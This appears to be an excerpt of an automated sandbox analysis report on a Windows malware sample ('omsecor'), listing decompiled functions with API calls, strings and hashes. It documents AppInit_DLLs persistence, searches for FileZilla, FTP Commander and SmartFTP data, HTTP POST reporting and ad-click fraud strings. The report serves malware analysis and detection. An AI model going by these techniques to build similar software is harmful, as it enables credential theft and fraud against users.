Opcode Fuzzy Hash: 99a964074df9a43e7876bfa78059f63c2205d652b6a4e0ea0b2e4f8e9ecac31d
Instruction Fuzzy Hash: C9214832A00108BBDB01DFAADC44B9E7BB8EF48345F1484B6E805F71A1D774AE41DB84

Function 0040A245 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040A26B
SysAllocString.OLEAUT32(?), ref: 0040A28E
SysAllocString.OLEAUT32(?), ref: 0040A296
SysFreeString.OLEAUT32(00000000), ref: 0040A2CA
SysFreeString.OLEAUT32(?), ref: 0040A2CF

Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FCE
Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FDE
Part of subcall function 00409FB1: Sleep.KERNEL32(00000064,?,?,0040A442,?,?), ref: 00409FEC
Part of subcall function 00409FB1: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
Part of subcall function 00409FB1: DispatchMessageW.USER32(?), ref: 0040A009

Strings

J(@, xrefs: 0040A29E, 0040A2A1

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: String$AllocCountFreeMessageTick$DispatchPeekSleep_memset
String ID: J(@
API String ID: 3143865713-2848800318
Opcode ID: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction ID: bfa1c3e5fdaec5be4dfb18607c12502589e7fd5433bac8caf4aacda455aa0499
Opcode Fuzzy Hash: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction Fuzzy Hash: 3A118F72D10219ABCB00DFA9DD448DEBBB9FF08354B11456AF415B7290E770AE14CFA4

Function 00408604 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 53registryfileCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows NT\CurrentVersion\Windows,00000000,00000001,?,?,00000000), ref: 00408628
GetLastError.KERNEL32(?,00000000), ref: 0040864A

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

DeleteFileW.KERNEL32(C:\WINDOWS\system32\gbdwpbm.dll,?,00000000), ref: 00408687

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(0040EA48,00000000,00000000,00000000,00000000,00020006,00000000,00000002,0040EA48,?,?,?,?,00406AD3,80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current), ref: 00406A22

Strings

C:\WINDOWS\system32\gbdwpbm.dll, xrefs: 00408682
Software\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 00408619, 0040861E, 00408676
AppInit_DLLs, xrefs: 00408639, 00408671

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: CloseCreateDeleteErrorFileLastOpenQueryValue
String ID: AppInit_DLLs$C:\WINDOWS\system32\gbdwpbm.dll$Software\Microsoft\Windows NT\CurrentVersion\Windows
API String ID: 4026185228-3265104503
Opcode ID: b4fb547f36a341d56e63cd8c3141924342823e6c0e28cdd89059e7ce4998d0d2
Instruction ID: 1689b80d2e7b4165945397198c320d7ed833f5e108bfbebac4dfc06446509e60
Opcode Fuzzy Hash: b4fb547f36a341d56e63cd8c3141924342823e6c0e28cdd89059e7ce4998d0d2
Instruction Fuzzy Hash: 99014CB2A44124B6E62067665E06F9B72AC9B00750F220D7BF905F31C0DABA9D1446AD

Function 00409A99 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409B00
SysAllocString.OLEAUT32(?), ref: 00409B0E

Strings

</url>, xrefs: 00409ACC
</title>, xrefs: 00409AA7
<url>, xrefs: 00409AD1
<title>, xrefs: 00409AAC

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: </title>$</url>$<title>$<url>
API String ID: 2525500382-2286408829
Opcode ID: accc4c2b32817054c02e480ca82d26facf4490b578c9b74d600f9b3addd9539d
Instruction ID: e94fff7a9c4556839c155ffec7726d55edf757161a42396596b5093e86978141
Opcode Fuzzy Hash: accc4c2b32817054c02e480ca82d26facf4490b578c9b74d600f9b3addd9539d
Instruction Fuzzy Hash: 4F01DB7564021CA7DB116A55CC41FD637A8BB44799F044077FA04F32C3E978AA0C4BA4

Function 0040A8F9 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 161sleepmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710,?,?,?,?,00402C8F,00000032,00000000,00000000,00000000,00000000,?), ref: 0040A91C
Sleep.KERNEL32(00002710), ref: 0040AAC1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040AAE9
HeapFree.KERNEL32(00000000), ref: 0040AAF0

Strings

jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s, xrefs: 0040A957
0, xrefs: 0040AA5B

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: HeapSleep$AttemptConnectFreeInternetProcess
String ID: 0$jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s
API String ID: 3713053250-1268808612
Opcode ID: b149150f67450d10939e037a4072d5df3dc9b6793fc6db3c061519f1f12da8b2
Instruction ID: cb73c9a78e41fc00613c6eff30345c36a412e41c8c720ed22b53be089701fd16
Opcode Fuzzy Hash: b149150f67450d10939e037a4072d5df3dc9b6793fc6db3c061519f1f12da8b2
Instruction Fuzzy Hash: 88515072A00218A6CF10EB95DC959DF737DEF44308F40447BF406B7281EB789A958FAA

Function 00407499 Relevance: 9.1, APIs: 6, Instructions: 62timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?), ref: 004074AD
GetLocalTime.KERNEL32(00000000), ref: 004074B3
GetTimeZoneInformation.KERNEL32(?), ref: 004074EA
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407525
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040752F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040754A

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Time$FileLocalSystem$InformationUnothrow_t@std@@@Zone__ehfuncinfo$??2@
String ID:
API String ID: 3777474486-0
Opcode ID: dc75d57b0fd5e0fdd9494c9f665b53f3e55cd7f2b0e9017e93342081d6970c63
Instruction ID: c9ff0a62426275c5a0d4f0aa0fa2549fa158b312224671bef63f429b7f92df75
Opcode Fuzzy Hash: dc75d57b0fd5e0fdd9494c9f665b53f3e55cd7f2b0e9017e93342081d6970c63
Instruction Fuzzy Hash: 03112C72D1022DAADF00EBD4DC44AEEB7FCBF48314F04445AE901B7240E7B9A608CBA5

Function 004083C4 Relevance: 9.1, APIs: 6, Instructions: 61filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 004083DC
GetFileSizeEx.KERNEL32(00000000,?), ref: 004083EF
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00408417
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 0040842F
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00408449
CloseHandle.KERNEL32(?), ref: 00408452

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: File$Virtual$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 1974014688-0
Opcode ID: c2b876117cf5bdd4c26ea99d0d1f22b8a7b68d93f1e59a17f5f06edaaf93f8ba
Instruction ID: 01d1f8b5f38b633e5055412454defe488cd8fa266e80ff04f0611ceb3180ae32
Opcode Fuzzy Hash: c2b876117cf5bdd4c26ea99d0d1f22b8a7b68d93f1e59a17f5f06edaaf93f8ba
Instruction Fuzzy Hash: 47115170500201FBEB305F56CE49E5BBBB9EB90700F10892DF596F21E0EB74A951DB28

Function 00409DF4 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,00000050,00000000,00000000,00000003,00000000,00000000,?), ref: 00409EA3
HttpOpenRequestW.WININET(00000000,POST,04400100,00000000,00000000,00000000,04400100,00000000), ref: 00409EC3
HttpSendRequestW.WININET(00000000,00000000,00000000,?,?), ref: 00409EDA
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00409F00

Strings

POST, xrefs: 00409EBD

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: HttpInternetRequest$ConnectFileOpenReadSend
String ID: POST
API String ID: 961146071-1814004025
Opcode ID: 20f9c5eacef7b48b8181bad7e01822bf71c4addd269446e4957b1a187c5c6ded
Instruction ID: 440a75f1c6cd1a7483e62584c22426b42aa3ce760e55699d8a89a0e8c7b72afb
Opcode Fuzzy Hash: 20f9c5eacef7b48b8181bad7e01822bf71c4addd269446e4957b1a187c5c6ded
Instruction Fuzzy Hash: B8318E71900119BFDB10DBA4DC84EFE7679EB54349F14087AFA41B62C2D6385E448BA8

Function 00405136 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,?,?,?,00000008), ref: 004051EB

Strings

SOFTWARE\smartftp\client 2.0\settings\general\favorites, xrefs: 00405157
folder, xrefs: 00405184
SOFTWARE\smartftp\client 2.0\settings\backup, xrefs: 00405168
personal favorites, xrefs: 00405176

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: EnvironmentExpandOpenStrings
String ID: SOFTWARE\smartftp\client 2.0\settings\backup$SOFTWARE\smartftp\client 2.0\settings\general\favorites$folder$personal favorites
API String ID: 3923277744-821743658
Opcode ID: e843f97767911fec9b6fd3034691d6ab50a9750596cd8693bb12be5acb83529b
Instruction ID: 0454e2dbaba930a1c05830d090df37f1eb9a44f33d61805f8e12f109ce5a2445
Opcode Fuzzy Hash: e843f97767911fec9b6fd3034691d6ab50a9750596cd8693bb12be5acb83529b
Instruction Fuzzy Hash: 21213E71D00518ABDB10EB95DC41ADFB7BCEB44318F1084B7E514B2181EB389B49CFA9

Function 0040A0B5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040A0C0
GetModuleHandleW.KERNEL32(00000000,00000000,?,?,0040A16F,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A0CE
CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

AtlAxWin, xrefs: 0040A0ED
Shell.Explorer, xrefs: 0040A0E8

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: CreateHandleInitializeModuleWindow
String ID: AtlAxWin$Shell.Explorer
API String ID: 950422046-1300462704
Opcode ID: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction ID: 8885d0d040d3ab3e1edd42f45155a7fe84e7bff231f75e8e802cb7627400a982
Opcode Fuzzy Hash: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction Fuzzy Hash: 78118F30200200FFD320ABA6CC4CE6B7BBCEFCA711B240579F515EB291D7789801CA65

Function 00407267 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,000003E8,?,?,?,?,?,?,?,?,?,?,?,00407B63,?), ref: 0040727C
SystemTimeToFileTime.KERNEL32(?,?,?,000003E8,?), ref: 004072C1
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 004072CB
__aulldiv.LIBCMT ref: 004072E3

Strings

c{@, xrefs: 004072D3

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Time$System$File$__aulldiv
String ID: c{@
API String ID: 3735792614-264719814
Opcode ID: a145c05d1847671377470c3096bfc685d9fda3d476ef25e64420ea8c3ac11d0d
Instruction ID: ef19eb4ac8525f4bf2260e0142840e6d018c3cac6eb9bd4f47b1f5cd165e8a78
Opcode Fuzzy Hash: a145c05d1847671377470c3096bfc685d9fda3d476ef25e64420ea8c3ac11d0d
Instruction Fuzzy Hash: D401DE62D1022DAACB01DFE4D984CEFB77DFF44348B00156AE901F7250E7B5AA4887A5

Function 004072ED Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040286E), ref: 004072F9
SystemTimeToFileTime.KERNEL32(?,?), ref: 00407337
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 00407341
__aulldiv.LIBCMT ref: 00407359

Strings

n(@, xrefs: 0040734C, 00407357

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Time$System$File$__aulldiv
String ID: n(@
API String ID: 3735792614-2525614082
Opcode ID: fb9972a15ff1dd7e61217f7ff9a5823acba4978d5a12943579487cf22718de7c
Instruction ID: 0875687ad9f8fbdff1f190dbab39d4211c2ed1a8acd2afdabfbd9ccbaffc37b8
Opcode Fuzzy Hash: fb9972a15ff1dd7e61217f7ff9a5823acba4978d5a12943579487cf22718de7c
Instruction Fuzzy Hash: 83011A66D2022DAACF00DBE5DD44CEFB7BCFF44344B04051AE901B3210E7B5A648CBA9

Function 0040AB7C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040AB93
CharLowerW.USER32(?), ref: 0040ABA0
GetCommandLineW.KERNEL32 ref: 0040ABC0

Strings

/updatefile3, xrefs: 0040ABC6
netprotdrvss.exe, xrefs: 0040ABA6

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: CharCommandFileLineLowerModuleName
String ID: /updatefile3$netprotdrvss.exe
API String ID: 3118597399-3449771660
Opcode ID: a9092c2346d55b23f20d8634028d89874de2ded0d1b8197c9b1551ea588aa001
Instruction ID: 1eba2a713c21f7c79877a49aa3ec6850c44e44909145826ab611dd80b60fa5a6
Opcode Fuzzy Hash: a9092c2346d55b23f20d8634028d89874de2ded0d1b8197c9b1551ea588aa001
Instruction Fuzzy Hash: 41E09B3655021A5AD750FBB1DD07BA633ACFB01705F1049B6A246F10C0EE74D55D4F9D

Function 00409FB1 Relevance: 7.6, APIs: 5, Instructions: 53windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409FCE
GetTickCount.KERNEL32 ref: 00409FDE
Sleep.KERNEL32(00000064,?,?,0040A442,?,?), ref: 00409FEC
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
DispatchMessageW.USER32(?), ref: 0040A009

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction ID: c0dc46c0c87f7bc49602bd7d2efae9f565a6f52602c3eafe7569a8fa2f6b8eea
Opcode Fuzzy Hash: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction Fuzzy Hash: 3F118671D103199ECB10AFF5CC8899F7BB9BB45314B144A7AE161F71E0C778CA118B1A

Function 00409F2B Relevance: 7.5, APIs: 5, Instructions: 40windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409F5B
GetTickCount.KERNEL32 ref: 00409F5F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409F72
DispatchMessageW.USER32(?), ref: 00409F80
Sleep.KERNEL32(0000012C,?,?,?,?,00000000), ref: 00409F8D

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: 57f1528c1cf960ce56ea9ee11f0e0f6d2bf2bfe74b8bc540e63205e3b9b5f8f9
Instruction ID: 2f378a1af0056e794f94b22e0cd08b0b0b180d2e60cd5d2ebdc62f673b65dbb1
Opcode Fuzzy Hash: 57f1528c1cf960ce56ea9ee11f0e0f6d2bf2bfe74b8bc540e63205e3b9b5f8f9
Instruction Fuzzy Hash: D1F0C872D042149BD714B7F2DD09B7D76A89B45714F104A36F551F70D1CA7CCD148A58

Function 00408692 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

Part of subcall function 0040A469: InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040A535
Part of subcall function 0040A469: InternetSetOptionW.WININET(00000000,00000041,00000000,00000004), ref: 0040A551

Part of subcall function 00409F2B: GetTickCount.KERNEL32 ref: 00409F5B
Part of subcall function 00409F2B: GetTickCount.KERNEL32 ref: 00409F5F
Part of subcall function 00409F2B: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409F72
Part of subcall function 00409F2B: DispatchMessageW.USER32(?), ref: 00409F80
Part of subcall function 00409F2B: Sleep.KERNEL32(0000012C,?,?,?,?,00000000), ref: 00409F8D

CharLowerW.USER32(?,?,?,00423DD4,?,00000001), ref: 00408751
SysFreeString.OLEAUT32(?), ref: 0040875A

Strings

http://, xrefs: 00408711
+@, xrefs: 004086A0

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: CountInternetMessageTick$CharDispatchFreeLowerOpenOptionPeekSleepString
String ID: http://$+@
API String ID: 147727044-3628382792
Opcode ID: a6511d5d8b0c810daf140c5c911559c37a96c1275369982660b5569d586a1c5f
Instruction ID: 305e6509dfdc939f3ffb47eba37a7af79922f54013ecb7534e3961c93d2e4cc1
Opcode Fuzzy Hash: a6511d5d8b0c810daf140c5c911559c37a96c1275369982660b5569d586a1c5f
Instruction Fuzzy Hash: 4E41D5729002199BCF15AF66CD056EFBBB4FF44314F20447FE981B3292DB3889528B99

Function 00407D61 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00414F68,00000000,00000000,00000000,UniqueNum,00000001), ref: 00407E09
WriteFile.KERNEL32(00000078,00000064,00000001,00000000), ref: 00407E20

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

UniqueNum, xrefs: 00407D86
x, xrefs: 00407DEF

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateModuleNamePointerWrite
String ID: UniqueNum$x
API String ID: 594998759-2399716736
Opcode ID: 0d1cac2645660f3edc8ae4858b9aa10093ebf6a3be27c46c4cc389029dd9494e
Instruction ID: 8c5cde1ed6458afa5e70834db293a7f07ca8c6efd1b8e13f0da2095665a79c5a
Opcode Fuzzy Hash: 0d1cac2645660f3edc8ae4858b9aa10093ebf6a3be27c46c4cc389029dd9494e
Instruction Fuzzy Hash: F72129329002186BDF04AB74ED49DDF3B69EF44315F104636FA02E71E1E634D951C799

Function 004040E7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008), ref: 0040413A

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

Strings

*filezilla*, xrefs: 004040F6
#, xrefs: 0040411E
&, xrefs: 00404110

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&$*filezilla*
API String ID: 3438805939-758400021
Opcode ID: 7f420262a527ace9c0fec2a61cbcbac63df6dda7f3825d1df3812bb47b8bab04
Instruction ID: af0dd5899ef73ee7264a7e51d90439c8fcf38b6470501fb51340e8e2557856c3
Opcode Fuzzy Hash: 7f420262a527ace9c0fec2a61cbcbac63df6dda7f3825d1df3812bb47b8bab04
Instruction Fuzzy Hash: 8E1151B2901128BADB10EA92DC49EDF7BBCEF85304F00407AF605B6080E7385785CBE9

Function 00404A92 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008), ref: 00404AE5

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

Strings

ftp*commander*, xrefs: 00404AA1
&, xrefs: 00404ABB
#, xrefs: 00404AC9

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&$ftp*commander*
API String ID: 3438805939-1149875651
Opcode ID: 371d79112eeabe7a5308543586f4c365cccc6d4de9a1601f9ce447be0e8ea6cb
Instruction ID: 4761086559ade70d73b1403ca51e5d3bc462c500c99379e4fd01d7d946a964d6
Opcode Fuzzy Hash: 371d79112eeabe7a5308543586f4c365cccc6d4de9a1601f9ce447be0e8ea6cb
Instruction Fuzzy Hash: B61121B2901118BADB10AA92DC49EDF7F7CEF85704F00407AF609B6180E7799785CBA9

Function 00409445 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094A9
SysFreeString.OLEAUT32(?), ref: 004094AE

Strings

an.yandex.ru/count, xrefs: 00409478
_blank, xrefs: 0040948E

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID: _blank$an.yandex.ru/count
API String ID: 3341692771-25359924
Opcode ID: 4ab6eb577aae85ed23f24708000ea2df93b57f18851f250654f87edd31753785
Instruction ID: 1eacecae91598e8b756cf85833a4a3bbf756f1dfdfc5fa02fd6c22f827bf3b29
Opcode Fuzzy Hash: 4ab6eb577aae85ed23f24708000ea2df93b57f18851f250654f87edd31753785
Instruction Fuzzy Hash: 28015A35204114BBDB109FA6CD05D9B77A8EF85324724443BBC15E7291E779EE02CA69

Function 00409808 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409868
SysAllocString.OLEAUT32(?), ref: 00409876

Strings

"encrypted", xrefs: 00409815
"URL", xrefs: 00409838

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: "URL"$"encrypted"
API String ID: 2525500382-4151690107
Opcode ID: f6e867073f93e28a707ce71cee5b1d0d556dab41e30d3c647449298916898aec
Instruction ID: 961e294ab5ae80d7ab2f0271a6faa46f3ea3f555f1d55132cdad114d364c87da
Opcode Fuzzy Hash: f6e867073f93e28a707ce71cee5b1d0d556dab41e30d3c647449298916898aec
Instruction Fuzzy Hash: 62F0D671A0021DA7CF00AB69CC01FD637ECAB4438CF1484B6F904F32C1E974EA098B98

Function 0040978D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004097ED
SysAllocString.OLEAUT32(?), ref: 004097FB

Strings

"url", xrefs: 0040979A
"domain", xrefs: 004097BD

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: "domain"$"url"
API String ID: 2525500382-2438671658
Opcode ID: 98133a6a8bfb7a18a2a86276567a63b94d588fd2e230135a268bf1c7eb2bd3b5
Instruction ID: 610bf4d9b2292206f8ef054453b19a236663fc5a2da35db14ea77673b97cd822
Opcode Fuzzy Hash: 98133a6a8bfb7a18a2a86276567a63b94d588fd2e230135a268bf1c7eb2bd3b5
Instruction Fuzzy Hash: 08F0A271A0021DA6CF41AAA9CC05FD637E8AB44348F1444B6F908F7281EA78EA188B94

Function 00406C77 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Internet Explorer,00000000,00000001,00000000,?,?,00402C77), ref: 00406C91

Strings

SOFTWARE\Microsoft\Internet Explorer, xrefs: 00406C87
